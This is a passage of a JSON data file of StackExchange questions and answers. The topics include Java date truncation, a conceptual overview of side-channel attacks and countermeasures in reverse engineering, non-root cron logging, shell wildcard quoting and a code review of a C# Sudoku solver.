'2016-08-26T10:00'.  => result = '2016-08-26T10:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'HalfDays'.date = '2016-08-26T10:51:58.828', unit = 'HalfDays', truncatedDate = '2016-08-26T00:00'.  => result = '2016-08-26T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Days'.date = '2016-08-26T10:51:58.828', unit = 'Days', truncatedDate = '2016-08-26T00:00'.  => result = '2016-08-26T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Weeks'.date = '2016-08-26T10:51:58.828', unit = 'Weeks', truncatedDate = '2016-08-22T00:00'.  => result = '2016-08-22T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Months'.date = '2016-08-26T10:51:58.828', unit = 'Months', truncatedDate = '2016-08-01T00:00'.  => result = '2016-08-01T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Years'.date = '2016-08-26T10:51:58.828', unit = 'Years', truncatedDate = '2016-01-01T00:00'.  => result = '2016-01-01T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Decades'.date = '2016-08-26T10:51:58.828', unit = 'Decades', truncatedDate = '2010-01-01T00:00'.  => result = '2010-01-01T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Centuries'.date = '2016-08-26T10:51:58.828', unit = 'Centuries', truncatedDate = '2000-01-01T00:00'.  => result = '2000-01-01T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Millennia'.date = '2016-08-26T10:51:58.828', unit = 'Millennia', truncatedDate = '2000-01-01T00:00'.  => result = '2000-01-01T00:00'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Eras'.  => exception = 'UnsupportedTemporalTypeException' => {Unable to truncate to unit = 'Eras', not well supported!}.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Forever'.  => exception = 'UnsupportedTemporalTypeException' => {Unable to truncate to unit = 'Forever', not well supported!}.It appears to all be working as expected, I was just wondering the implementation isn't recommended and why the default library doesn't support it if it is?Thanks!"  , "title": "Java 8 time - LocalDateTime vs LocalDate and truncatedTo limitation handling"  , "tags": "java;java8"  } 
{  "id": "_reverseengineering.1897"  , "question": "When reversing smart-cards, the side-channel attacks are known to be quite effective on hardware. But, what is it, and can it be used in software reverse-engineering and how?"  , "title": "What is SCARE (Side-Channel Attacks Reverse-Engineering)?"  , "tags": "hardware;physical attacks;smartcards"  , "accepted_answer": "A 'side-channel attack' define any technique that will consider unintended and/or indirect information channels to reach his goal. It has been first defined in smart-card cryptography to describe attacks which are using unintentional information leak from the embedded chip on the card and that can be used in retrieval of keys and data. For example, it may be used by monitoring:Execution Time (Timing attack): To distinguish which operations has been performed and guess, for example, which branch of the code has been selected (and, thus, the value of the test).Power Consumption (Power monitoring attack): To distinguish precisely what sequence of instructions has been performed and be able to recompose the values of the variables. Note that there exist several techniques of analysis using the same input but with slightly different way of analyzing it. For example, we can list: Single Power Analysis (SPA), Differential Power Analysis (DPA), High-order Differential Power Analysis (HO-DPA), Template Attacks, ...Electromagnetic Radiation (Electromagnetic attacks): Closely related to power consumption, but can also provide information that are not found in power consumption especially on RFID or NFC chips.If you're more interested in learning how to leverage this information then I'd suggest to start by reading Power Analysis Attacks. Don't get 'scared' away by the fact that the book is about smart cards. Most of the information also applies 1-to-1 on 'normal' (SoC) embedded devices.Forgot to mention there's an open source platform called OpenSCA and some open source hardware called FOBOS (Flexible Open-source BOard for Side-channel) for which I can't seem to find a proper link from home.Application to Software Reverse-engineeringSpeaking about the application of side-channel attacks in software reverse engineering now, it is more or less any attacks that will rely on using unintended or indirect information leakage. The best recent example is this post from Jonathan Salwan describing how he guessed the password of a crackme just by counting the number of instructions executed on various inputs with Pin.More broadly, this technique has been used since long in software reverse-engineering without naming it, or could have improved many analysis. The basic idea is to first consider that if a piece of software is too obscure to understand it quickly, we can consider it as a black-box and think about using a side-channels technique to guess the enclosed data through a guided trial and error technique.The list of side-channels available in software reverse-engineering is much longer than the one we have in hardware. Because it enclose the previous list and add some new channels such as (non exhaustive list):Instruction Count: Allow to identify different behaviors depending on the input.Read/Write Count: Same as above, with more possibilities to identify patterns because it includes also instruction read.Raised Interrupt Count: Depending on what type of interrupt is raised, when and how, you might identify different behaviors and be able to determined the good path to your goal.Accessed Instruction Addresses: Allow to rebuild the parts of the program that are active at a precise moment.Accessed Memory Addresses: Allow to rebuild data pattern or complex data-structure stored or accessed in memory (eg. in the heap).This list is far from being exhaustive, but basically tools such as Valgrind VM or others can be used to perform such analysis and quickly deduce information about the behavior of a given program, thus speeding up the reverse-engineering.Obfuscation and Possible Counter-measuresTrying to build a software which will be resistant to such attacks will borrow also a lot from the smart-card industry. But, not only. Here are a few tricks, I could think of (but far from being complete about all we can find).Armoring Program BranchesThe instruction count is extremely efficient to detect which branch has been taken in code like this:if (value)   ret = foo();else    ret = bar();With foo() and bar() having different instruction count.This can be defeated by executing foo() and bar() whatever value is and deciding afterward what is the value of ret.tmp_foo = foo();tmp_bar = bar();if (value)  ret = tmp_foo;else  ret = tmp_bar;This technique render your program much more difficult to guess from a side-channel attack, but also much less efficient. One has to find a proper trade-off.Countering Timing AttacksTiming attacks are extremely easy to perform and difficult to workaround because sleep() cannot be an option (too easy to detect in a code and, anyway you cannot assume a specific speed for the processor). The programmer has to identify the execution time of each branch of his program and to balance each branch with extra non-useful operations which are of the same computational power than the ones from the other branchs. The point being to render each branch indistinguishable from the others only based on the execution time. Threading MadnessAnother way to dilute the side-channel is to massively multi-thread your program. Imagine that each branch of your program is executed in a separate thread, and one variable tell in which thread the current program really is (if possible in a cryptic manner). Then side-channel analysis will be much more difficult to perform.Conclusion and Further ResearchSide-channel attacks has been widely under-estimated for software reverse-engineering, it can drastically speed-up the reverse of many programs. But, in the same time, obfuscation techniques exists and have to be developed specifically targeting software reverse-engineering. So, don't be surprised if you see more and more novelties related to this field."  } 
{  "id": "_unix.338113"  , "question": "I'm trying to move away from running cron-scheduled jobs with root, so the thought process is to create a system account with no login (/dev/null home, /sbin/nologin shell) to run each cron job we need ran. I'm just curious how to give these accounts the proper permission to run where they need to be without changing the ownership of normal files and folders that are typically restricted to root.For instance, say I want this system account to output log files of what it's doing to /var/log,  However, /var/log/ is owned by root, and is set to 755. This process won't be able to create log files there without running as root, correct?Am I correct in assuming using Linux Kernel Capabilities is the best way to do this?"  , "title": "Assigning Privileges to System Accounts"  , "tags": "linux;permissions;administration"  , "accepted_answer": "One way You can achieve that is to put the logs inside a sub-folder under /var/log and then set the permission for the sub-folders.Another why is to log into syslog with logger and use a filter to redirect the logs to a specific file.e.g# /etc/rsyslog.d/10-myrules.confif $programname == [script1, script2]then {     action(type=omfile file=/var/log/myscripts/sys.log)    stop}And you probably should also set a logrotate rule while you at it."  } 
{  "id": "_webapps.24525"  , "question": "Is it possible to add time management in Trello? For example, if we work on a project I want to be able to do monthly reports to see how much time was used/spent on a certain project. How can I set this up in Trello?"  , "title": "Add time management for each project in Trello"  , "tags": "trello"  } 
{  "id": "_unix.264397"  , "question": "I learned when I use command, double quoting treat all things as character except $, `, \\ .But, when use command like find -type f -name *.jpg *.jpg is inside double quotes. Then, it means we want to treat * and . as just a character. So, the find command should output regular file which has name *.jpg as it says, not pathname expansion implemented.If we want to do pathname expansion, I think I have to do type command find -type f -name *.jpg(without double quoting).But, the result is same. Why use double quoting in this command?"  , "title": "confusing about double quoting"  , "tags": "shell;find;quoting;wildcards"  , "accepted_answer": "There is a subtlety to how wildcard expansion works. Change to a directory which contains no .jpg files and typeecho *.jpgand it will output*.jpgIn particular, the string *.jpg is left unmodified. If, however, you change to a directory containing .jpg files, for example suppose we have two files: image1.jpg and image2.jpg, then the echo *.jpg command will not outputimage1.jpg image2.jpgand the *.jpg gets expanded.If you typefind . -name *.jpgand there are no .jpg files in the directory you are when you type this, then find will receive the arguments ., -name and *.jpg. If, however, you type this command in a directory containing .jpg files, say image1.jpg and image2.jpg, then find will receive the arguments ., -name, image1.jpg and image2.jpg, so will in effect run the commandfind . -name image1.jpg image2.jpgand find will complain. What can be really confusing if you omit the quotes is if there is a single .jpg file (say image1.jpg). Then the wildcard expansion will result infind . -name image1.jpgand the find command will find all files whose basename is image1.jpg. Aside: This does lead to a useful bash idiom for seeing if any files match a given pattern:if [ $(echo *.jpg) = *.jpg ]; then    # *.jpg has no matcheselse    # *.jpg has matchesfithough be warned that this will not work if there is a file called '*.jpg' in the current directory. To be more watertight, you can doif [ $(echo *.jpg) = *.jpg ] && [ ! -e *.jpg ]; then    # *.jpg has no matcheselse    # *.jpg has matchesfi(While not directly relevant to the the question, I added this since it illustrates some of the aspects of how wildcard expansion works.)"  } 
{  "id": "_webapps.57039"  , "question": "I'd like to hide posts written by a specific author in LinkedIn Pulse."  , "title": "How can I hide posts written by a specific author in LinkedIn Pulse?"  , "tags": "linkedin"  } 
{  "id": "_codereview.37448"  , "question": "Even though it's the first time I'm writing something this big, it feels like I know C# quite well (it is very similar to Java after all). It's been nice to learn LINQ also and I am very impressed by the features (which is just like Steams in Java 8), and perhaps I have overused it here (if it's possible to do that).Class summarySudokuFactory: Contains static methods to create some Sudoku variationsSudokuBoard: Contains collection of SudokuRule and of SudokuTileSudokuRule: Whether it's a box, a line, a row, or something entirely different doesn't matter. Contains a collection of SudokuTile that must be unique.SudokuTile: Each tile in the puzzle. Can be blocked (like a hole in the puzzle), remembers it's possibleValues, and also contains a value (0 is used for tiles without a value)SudokuProgress: Used to know what the progress of a solving step was.Program: Main starting point. Contains tests for seven different Sudokus. All have been verified to be solved correctly.Since this is the first time I'm using C# and LINQ, please tell me anything. All suggestions welcome. Except for the fact that the method box should be called Box. I'd be especially interested in cases where I could simplify some of the LINQ usage (trust me, there is a lot). I hope you are able to follow all the LINQ queries. I have tried to put some short comments where needed to explain what is happening. If you want an explanation for some part, post a comment and I will explain.As usual, I have a tendency to make the challenge into something super-flexible with support for a whole lot of more or less unnecessary things. Some of the possible puzzles that this code can solve is:A hard classic 9x9 Sudoku with 3x3 boxes that requires more advanced techniques (or in my case, more or less brute force by trial and error)NonominoHyperSudokuSamurai SudokuA classic Sudoku of any size with any number of boxes and size of boxes (only completely tested on 9x9 with 3x3 boxes and 4x4 with 2x2 boxes but any sizes should be possible)These images are puzzles that are tested and solved in the below code:One known issue with the implementation is if you would input an empty puzzle, then it would work for years to find all the possible combinations for it.SudokuProgresspublic enum SudokuProgress { FAILED, NO_PROGRESS, PROGRESS }SudokuTilepublic class SudokuTile{    internal static SudokuProgress CombineSolvedState(SudokuProgress a, SudokuProgress b)    {        if (a == SudokuProgress.FAILED)            return a;        if (a == SudokuProgress.NO_PROGRESS)            return b;        if (a == SudokuProgress.PROGRESS)            return b == SudokuProgress.FAILED ? b : a;        throw new InvalidOperationException(Invalid value for a);    }    public const int CLEARED = 0;    private int _maxValue;    private int _value;    private int _x;    private int _y;    private ISet<int> possibleValues;    private bool _blocked;    public SudokuTile(int x, int y, int maxValue)    {        _x = x;        _y = y;        _blocked = false;        _maxValue = maxValue;        possibleValues = new HashSet<int>();        _value = 0;    }    public int Value    {        get { return _value; }        set        {            if (value > _maxValue)                throw new ArgumentOutOfRangeException(SudokuTile Value cannot be greater than  + _maxValue.ToString() + . Was  + value);            if (value < CLEARED)                throw new ArgumentOutOfRangeException(SudokuTile Value cannot be zero or smaller. Was  + value);            _value = value;        }    }    public bool HasValue     {        get { return Value != CLEARED; }    }    public string ToStringSimple()    {        return Value.ToString();    }    public override string ToString()    {        return String.Format(Value {0} at pos {1}, {2}. , Value, _x, _y, possibleValues.Count);    }    internal void ResetPossibles()    {        possibleValues.Clear();        foreach (int i in Enumerable.Range(1, _maxValue))        {            if (!HasValue || Value == i)                possibleValues.Add(i);        }    }    public void Block()    {        _blocked = true;    }    internal void Fix(int value, string reason)     {        Console.WriteLine(Fixing {0} on pos {1}, {2}: {3}, value, _x, _y, reason);        Value = value;        ResetPossibles();    }    internal SudokuProgress RemovePossibles(IEnumerable<int> existingNumbers)    {        if (_blocked)            return SudokuProgress.NO_PROGRESS;        // Takes the current possible values and removes the ones existing in `existingNumbers`        possibleValues = new HashSet<int>(possibleValues.Where(x => !existingNumbers.Contains(x)));        SudokuProgress result = SudokuProgress.NO_PROGRESS;        if (possibleValues.Count == 1)        {            Fix(possibleValues.First(), Only one possibility);            result = SudokuProgress.PROGRESS;        }        if (possibleValues.Count == 0)            return SudokuProgress.FAILED;        return result;    }    public bool IsValuePossible(int i)     {        return possibleValues.Contains(i);    }    public int X { get { return _x; } }    public int Y { get { return _y; } }    public bool IsBlocked { get { return _blocked; } } // A blocked field can not contain a value -- used for creating 'holes' in the map    public int PossibleCount     {        get {            return IsBlocked ? 1 : possibleValues.Count;         }     }}SudokuRulepublic class SudokuRule : IEnumerable<SudokuTile>{    internal SudokuRule(IEnumerable<SudokuTile> tiles, string description)    {        _tiles = new HashSet<SudokuTile>(tiles);        _description = description;    }    private ISet<SudokuTile> _tiles;    private string _description;    public bool CheckValid()    {        var filtered = _tiles.Where(tile => tile.HasValue);        var groupedByValue = filtered.GroupBy(tile => tile.Value);        return groupedByValue.All(group => group.Count() == 1);    }    public bool CheckComplete()    {        return _tiles.All(tile => tile.HasValue) && CheckValid();    }    internal SudokuProgress RemovePossibles()    {        // Tiles that has a number already        IEnumerable<SudokuTile> withNumber = _tiles.Where(tile => tile.HasValue);        // Tiles without a number        IEnumerable<SudokuTile> withoutNumber = _tiles.Where(tile => !tile.HasValue);        // The existing numbers in this rule        IEnumerable<int> existingNumbers = new HashSet<int>(withNumber.Select(tile => tile.Value).Distinct().ToList());        SudokuProgress result = SudokuProgress.NO_PROGRESS;        foreach (SudokuTile tile in withoutNumber)            result = SudokuTile.CombineSolvedState(result, tile.RemovePossibles(existingNumbers));        return result;    }    internal SudokuProgress CheckForOnlyOnePossibility()     {        // Check if there is only one number within this rule that can have a specific value        IList<int> existingNumbers = _tiles.Select(tile => tile.Value).Distinct().ToList();        SudokuProgress result = SudokuProgress.NO_PROGRESS;        foreach (int value in Enumerable.Range(1, _tiles.Count))        {            if (existingNumbers.Contains(value)) // this rule already has the value, skip checking for it                continue;            var possibles = _tiles.Where(tile => !tile.HasValue && tile.IsValuePossible(value)).ToList();            if (possibles.Count == 0)                return SudokuProgress.FAILED;            if (possibles.Count == 1)            {                possibles.First().Fix(value, Only possible in rule  + ToString());                result = SudokuProgress.PROGRESS;            }        }        return result;    }    internal SudokuProgress Solve()    {        // If both are null, return null (indicating no change). If one is null, return the other. Else return result1 && result2        SudokuProgress result1 = RemovePossibles();        SudokuProgress result2 = CheckForOnlyOnePossibility();        return SudokuTile.CombineSolvedState(result1, result2);    }    public override string ToString()    {        return _description;    }    public IEnumerator<SudokuTile> GetEnumerator()    {        return _tiles.GetEnumerator();    }    System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()    {        return GetEnumerator();    }    public string Description { get { return _description; } }}SudokuBoard:public class SudokuBoard{    public SudokuBoard(SudokuBoard copy)    {        _maxValue = copy._maxValue;        tiles = new SudokuTile[copy.Width, copy.Height];        CreateTiles();        // Copy the tile values        foreach (var pos in SudokuFactory.box(Width, Height))        {            tiles[pos.Item1, pos.Item2] = new SudokuTile(pos.Item1, pos.Item2, _maxValue);            tiles[pos.Item1, pos.Item2].Value = copy.tiles[pos.Item1, pos.Item2].Value;        }        // Copy the rules        foreach (SudokuRule rule in copy.rules)         {            var ruleTiles = new HashSet<SudokuTile>();            foreach (SudokuTile tile in rule)             {                ruleTiles.Add(tiles[tile.X, tile.Y]);            }            rules.Add(new SudokuRule(ruleTiles, rule.Description));        }    }    public SudokuBoard(int width, int height, int maxValue)    {        _maxValue = maxValue;        tiles = new SudokuTile[width, height];        CreateTiles();        if (_maxValue == width || _maxValue == height) // If maxValue is not width or height, then adding line rules would be stupid            SetupLineRules();    }    public SudokuBoard(int width, int height) : this(width, height, Math.Max(width, height)) {}    private int _maxValue;    private void CreateTiles()    {        foreach (var pos in SudokuFactory.box(tiles.GetLength(0), tiles.GetLength(1)))        {            tiles[pos.Item1, pos.Item2] = new SudokuTile(pos.Item1, pos.Item2, _maxValue);        }    }    private void SetupLineRules()    {        // Create rules for rows and columns        for (int x = 0; x < Width; x++)        {            IEnumerable<SudokuTile> row = GetCol(x);            rules.Add(new SudokuRule(row, Row  + x.ToString()));        }        for (int y = 0; y < Height; y++)        {            IEnumerable<SudokuTile> col = GetRow(y);            rules.Add(new SudokuRule(col, Col  + y.ToString()));        }    }    internal IEnumerable<SudokuTile> TileBox(int startX, int startY, int sizeX, int sizeY)    {        return from pos in SudokuFactory.box(sizeX, sizeY) select tiles[startX + pos.Item1, startY + pos.Item2];    }    private IEnumerable<SudokuTile> GetRow(int row)    {        for (int i = 0; i < tiles.GetLength(0); i++)        {            yield return tiles[i, row];        }    }    private IEnumerable<SudokuTile> GetCol(int col)    {        for (int i = 0; i < tiles.GetLength(1); i++)        {            yield return tiles[col, i];        }    }    private ISet<SudokuRule> rules = new HashSet<SudokuRule>();    private SudokuTile[,] tiles;    public int Width    {        get { return tiles.GetLength(0); }    }    public int Height {        get { return tiles.GetLength(1); }    }    public void CreateRule(string description, params SudokuTile[] tiles)    {        rules.Add(new SudokuRule(tiles, description));    }    public void CreateRule(string description, IEnumerable<SudokuTile> tiles)    {        rules.Add(new SudokuRule(tiles, description));    }    public bool CheckValid()    {        return rules.All(rule => rule.CheckValid());    }    public IEnumerable<SudokuBoard> Solve()    {        ResetSolutions();        SudokuProgress simplify = SudokuProgress.PROGRESS;        while (simplify == SudokuProgress.PROGRESS) simplify = Simplify();        if (simplify == SudokuProgress.FAILED)            yield break;        // Find one of the values with the least number of alternatives, but that still has at least 2 alternatives        var query = from rule in rules                    from tile in rule                    where tile.PossibleCount > 1                    orderby tile.PossibleCount ascending                    select tile;        SudokuTile chosen = query.FirstOrDefault();        if (chosen == null)        {            // The board has been completed, we're done!            yield return this;            yield break;        }        Console.WriteLine(SudokuTile:  + chosen.ToString());        foreach (var value in Enumerable.Range(1, _maxValue))        {            // Iterate through all the valid possibles on the chosen square and pick a number for it            if (!chosen.IsValuePossible(value))                continue;            var copy = new SudokuBoard(this);            copy.Tile(chosen.X, chosen.Y).Fix(value, Trial and error);            foreach (var innerSolution in copy.Solve())                 yield return innerSolution;        }        yield break;    }    public void Output()    {        for (int y = 0; y < tiles.GetLength(1); y++)        {            for (int x = 0; x < tiles.GetLength(0); x++)            {                Console.Write(tiles[x, y].ToStringSimple());            }            Console.WriteLine();        }    }    public SudokuTile Tile(int x, int y)    {        return tiles[x, y];    }    private int _rowAddIndex;    public void AddRow(string s)    {        // Method for initializing a board from string        for (int i = 0; i < s.Length; i++)        {            var tile = tiles[i, _rowAddIndex];            if (s[i] == '/')            {                tile.Block();                continue;            }            int value = s[i] == '.' ? 0 : (int)Char.GetNumericValue(s[i]);            tile.Value = value;        }        _rowAddIndex++;    }    internal void ResetSolutions()    {        foreach (SudokuTile tile in tiles)            tile.ResetPossibles();    }    internal SudokuProgress Simplify()    {        SudokuProgress result = SudokuProgress.NO_PROGRESS;        bool valid = CheckValid();        if (!valid)            return SudokuProgress.FAILED;        foreach (SudokuRule rule in rules)            result = SudokuTile.CombineSolvedState(result, rule.Solve());        return result;    }    internal void AddBoxesCount(int boxesX, int boxesY)    {        int sizeX = Width / boxesX;        int sizeY = Height / boxesY;        var boxes = SudokuFactory.box(sizeX, sizeY);        foreach (var pos in boxes)        {            IEnumerable<SudokuTile> boxTiles = TileBox(pos.Item1 * sizeX, pos.Item2 * sizeY, sizeX, sizeY);            CreateRule(Box at ( + pos.Item1.ToString() + ,  + pos.Item2.ToString() + ), boxTiles);        }    }    internal void OutputRules()    {        foreach (var rule in rules)        {            Console.WriteLine(String.Join(,, rule) +  -  + rule.ToString());        }    }}SudokuFactory:public class SudokuFactory{    private const int DefaultSize = 9;    private const int SamuraiAreas = 7;    private const int BoxSize = 3;    private const int HyperMargin = 1;    public static IEnumerable<Tuple<int, int>> box(int sizeX, int sizeY)    {        foreach (int x in Enumerable.Range(0, sizeX))        {            foreach (int y in Enumerable.Range(0, sizeY))            {                yield return new Tuple<int, int>(x, y);            }        }    }    public static SudokuBoard Samurai()    {        SudokuBoard board = new SudokuBoard(SamuraiAreas*BoxSize, SamuraiAreas*BoxSize, DefaultSize);        // Removed the empty areas where there are no tiles        var queriesForBlocked = new List<IEnumerable<SudokuTile>>();        queriesForBlocked.Add(from pos in box(BoxSize, BoxSize*2) select board.Tile(pos.Item1 + DefaultSize, pos.Item2                            ));        queriesForBlocked.Add(from pos in box(BoxSize, BoxSize*2) select board.Tile(pos.Item1 + DefaultSize, pos.Item2 + DefaultSize * 2 - BoxSize));        queriesForBlocked.Add(from pos in box(BoxSize*2, BoxSize) select board.Tile(pos.Item1                            , pos.Item2 + DefaultSize));        queriesForBlocked.Add(from pos in box(BoxSize*2, BoxSize) select board.Tile(pos.Item1 + DefaultSize * 2 - BoxSize, pos.Item2 + DefaultSize));        foreach (var query in queriesForBlocked)         {            foreach (var tile in query) tile.Block();        }        // Select the tiles in the 3 x 3 area (area.X, area.Y) and create rules for them        foreach (var area in box(SamuraiAreas, SamuraiAreas))         {            var tilesInArea = from pos in box(BoxSize, BoxSize) select board.Tile(area.Item1 * BoxSize + pos.Item1, area.Item2 * BoxSize + pos.Item2);            if (tilesInArea.First().IsBlocked)                continue;            board.CreateRule(Area  + area.Item1.ToString() + ,  + area.Item2.ToString(), tilesInArea);        }        // Select all rows and create columns for them        var cols = from pos in box(board.Width,  1) select new { X = pos.Item1, Y = pos.Item2 };        var rows = from pos in box(1, board.Height) select new { X = pos.Item1, Y = pos.Item2 };        foreach (var posSet in Enumerable.Range(0, board.Width))        {            board.CreateRule(Column Upper  + posSet, from pos in box(1, DefaultSize) select board.Tile(posSet, pos.Item2));            board.CreateRule(Column Lower  + posSet, from pos in box(1, DefaultSize) select board.Tile(posSet, pos.Item2 + DefaultSize + BoxSize));            board.CreateRule(Row Left   + posSet, from pos in box(DefaultSize, 1) select board.Tile(pos.Item1, posSet));            board.CreateRule(Row Right  + posSet, from pos in box(DefaultSize, 1) select board.Tile(pos.Item1 + DefaultSize + BoxSize, posSet));            if (posSet >= BoxSize*2 && posSet < BoxSize*2 + DefaultSize)            {                // Create rules for the middle sudoku                board.CreateRule(Column Middle  + posSet, from pos in box(1, 9) select board.Tile(posSet, pos.Item2 + BoxSize*2));                board.CreateRule(Row Middle     + posSet, from pos in box(9, 1) select board.Tile(pos.Item1 + BoxSize*2, posSet));            }        }        return board;    }    public static SudokuBoard SizeAndBoxes(int width, int height, int boxCountX, int boxCountY)    {        SudokuBoard board = new SudokuBoard(width, height);        board.AddBoxesCount(boxCountX, boxCountY);        return board;    }    public static SudokuBoard ClassicWith3x3Boxes()    {        return SizeAndBoxes(DefaultSize, DefaultSize, DefaultSize / BoxSize, DefaultSize / BoxSize);    }    public static SudokuBoard ClassicWith3x3BoxesAndHyperRegions()    {        SudokuBoard board = ClassicWith3x3Boxes();        const int HyperSecond = HyperMargin + BoxSize + HyperMargin;        // Create the four extra hyper regions        board.CreateRule(HyperA, from pos in box(3, 3) select board.Tile(pos.Item1 + HyperMargin, pos.Item2 + HyperMargin));        board.CreateRule(HyperB, from pos in box(3, 3) select board.Tile(pos.Item1 + HyperSecond, pos.Item2 + HyperMargin));        board.CreateRule(HyperC, from pos in box(3, 3) select board.Tile(pos.Item1 + HyperMargin, pos.Item2 + HyperSecond));        board.CreateRule(HyperD, from pos in box(3, 3) select board.Tile(pos.Item1 + HyperSecond, pos.Item2 + HyperSecond));        return board;    }    public static SudokuBoard ClassicWithSpecialBoxes(string[] areas)    {        int sizeX = areas[0].Length;        int sizeY = areas.Length;        SudokuBoard board = new SudokuBoard(sizeX, sizeY);        var joinedString = String.Join(, areas);        var grouped = joinedString.Distinct();        // Loop through all the unique characters        foreach (var ch in grouped)        {            // Select the rule tiles based on the index of the character            var ruleTiles = from i in Enumerable.Range(0, joinedString.Length)                    where joinedString[i] == ch // filter out any non-matching characters                    select board.Tile(i % sizeX, i / sizeY);            board.CreateRule(Area  + ch.ToString(), ruleTiles);        }        return board;    }}Program:static class Program{    [STAThread]    static void Main()    {        SolveFail();        SolveClassic();        SolveSmall();        SolveExtraZones();        SolveHyper();        SolveSamurai();        SolveIncompleteClassic();    }    private static void SolveFail()    {        SudokuBoard board = SudokuFactory.SizeAndBoxes(4, 4, 2, 2);        board.AddRow(0003);        board.AddRow(0204); // the 2 must be a 1 on this row to be solvable        board.AddRow(1000);        board.AddRow(4000);        CompleteSolve(board);    }    private static void SolveExtraZones()    {        // http://en.wikipedia.org/wiki/File:Oceans_Hypersudoku18_Puzzle.svg        SudokuBoard board = SudokuFactory.ClassicWith3x3BoxesAndHyperRegions();        board.AddRow(.......1.);        board.AddRow(..2....34);        board.AddRow(....51...);        board.AddRow(.....65..);        board.AddRow(.7.3...8.);        board.AddRow(..3......);        board.AddRow(....8....);        board.AddRow(58....9..);        board.AddRow(69.......);        CompleteSolve(board);    }    private static void SolveSmall()    {        SudokuBoard board = SudokuFactory.SizeAndBoxes(4, 4, 2, 2);        board.AddRow(0003);        board.AddRow(0004);        board.AddRow(1000);        board.AddRow(4000);        CompleteSolve(board);    }    private static void SolveHyper()    {        // http://en.wikipedia.org/wiki/File:A_nonomino_sudoku.svg        string[] areas = new string[]{           111233333,           111222333,           144442223,           114555522,           444456666,           775555688,           977766668,           999777888,           999997888        };        SudokuBoard board = SudokuFactory.ClassicWithSpecialBoxes(areas);        board.AddRow(3.......4);        board.AddRow(..2.6.1..);        board.AddRow(.1.9.8.2.);        board.AddRow(..5...6..);        board.AddRow(.2.....1.);        board.AddRow(..9...8..);        board.AddRow(.8.3.4.6.);        board.AddRow(..4.1.9..);        board.AddRow(5.......7);        CompleteSolve(board);    }    private static void SolveSamurai()    {        // http://www.freesamuraisudoku.com/1001HardSamuraiSudokus.aspx?puzzle=42        SudokuBoard board = SudokuFactory.Samurai();        board.AddRow(6..8..9..///.....38..);        board.AddRow(...79....///89..2.3..);        board.AddRow(..2..64.5///...1...7.);        board.AddRow(.57.1.2..///..5....3.);        board.AddRow(.....731.///.1.3..2..);        board.AddRow(...3...9.///.7..429.5);        board.AddRow(4..5..1...5....5.....);        board.AddRow(8.1...7...8.2..768...);        board.AddRow(.......8.23...4...6..);        board.AddRow(//////.12.4..9.//////);        board.AddRow(//////......82.//////);        board.AddRow(//////.6.....1.//////);        board.AddRow(.4...1....76...36..9.);        board.AddRow(2.....9..8..5.34...81);        board.AddRow(.5.873......9.8..23..);        board.AddRow(...2....9///.25.4....);        board.AddRow(..3.64...///31.8.....);        board.AddRow(..75.8.12///...6.14..);        board.AddRow(.......2.///.31...9..);        board.AddRow(..17.....///..7......);        board.AddRow(.7.6...84///8...7..5.);        CompleteSolve(board);    }    private static void SolveClassic()    {        var board = SudokuFactory.ClassicWith3x3Boxes();        board.AddRow(...84...9);        board.AddRow(..1.....5);        board.AddRow(8...2146.);        board.AddRow(7.8....9.);        board.AddRow(.........);        board.AddRow(.5....3.1);        board.AddRow(.2491...7);        board.AddRow(9.....5..);        board.AddRow(3...84...);        CompleteSolve(board);    }    private static void SolveIncompleteClassic()    {        var board = SudokuFactory.ClassicWith3x3Boxes();        board.AddRow(...84...9);        board.AddRow(..1.....5);        board.AddRow(8...2.46.); // Removed a 1 on this line        board.AddRow(7.8....9.);        board.AddRow(.........);        board.AddRow(.5....3.1);        board.AddRow(.2491...7);        board.AddRow(9.....5..);        board.AddRow(3...84...);        CompleteSolve(board);    }    private static void CompleteSolve(SudokuBoard board)    {        Console.WriteLine(Rules:);        board.OutputRules();        Console.WriteLine(Board:);        board.Output();        var solutions = board.Solve().ToList();        Console.WriteLine(Base Board Progress:);        board.Output();        Console.WriteLine(--);        Console.WriteLine(--);        Console.WriteLine(All  + solutions.Count +  solutions:);        var i = 1;        foreach (var solution in solutions)        {            Console.WriteLine(----------------);            Console.WriteLine(Solution  + i++.ToString() +  /  + solutions.Count + :);            solution.Output();        }    }}"  , "title": "SudokuSharp Solver with advanced features"  , "tags": "c#;linq;community challenge;sudoku"  , "accepted_answer": "Impressive. I mean it.Couple observations:Your enums...public enum SudokuProgress { FAILED, NO_PROGRESS, PROGRESS }Should be:public enum SudokuProgress { Failed, NoProgress, Progress }When the first thing you see is this:public class SudokuBoard{    public SudokuBoard(SudokuBoard copy)    {        _maxValue = copy._maxValue;        tiles = new SudokuTile[copy.Width, copy.Height];        CreateTiles();you wonder where _maxValue and tiles come from, and why _maxValue (whose naming convention is that of a private field) can be accessed like that - I would expose it as a get-only property. Accessing private fields from another object doesn't seem instinctively right to me.Speaking of the devil:private int _maxValue;This line belongs just above the constructor that's using it (it's 30-some lines below its first usage).This box method which should be named Box (actually box is a bad name because it's the name of a CIL instruction that your C# compiles to), is returning a not-so-pretty Tuple<T1,T2> - The framework has a type called Point which has X and Y properties; if that's not appropriate, I don't know what is. Side note, Point is a value type, so there's no boxing actually going on if you use it over a Tuple, which is a reference type (incurs boxing). Bottom line, use a Point and call that method something else:public static IEnumerable<Point> Box(int sizeX, int sizeY){    foreach (int x in Enumerable.Range(0, sizeX))    {        foreach (int y in Enumerable.Range(0, sizeY))        {            yield return new Point(x, y);        }    }}You want to abuse LINQ? How about taking this:private SudokuTile[,] tiles;private void CreateTiles(){    foreach (var pos in SudokuFactory.box(tiles.GetLength(0), tiles.GetLength(1)))    {        tiles[pos.Item1, pos.Item2] = new SudokuTile(pos.Item1, pos.Item2, _maxValue);    }}And turning it into that:private Dictionary<Point, SudokuTile> tiles;private void CreateTiles(){    tiles = SudokuFactory                  .Box(tiles.GetLength(0), tiles.GetLength(1))                  .Select(p => new KeyValuePair<Point, SudokuTile>{ Key = p, Value = new 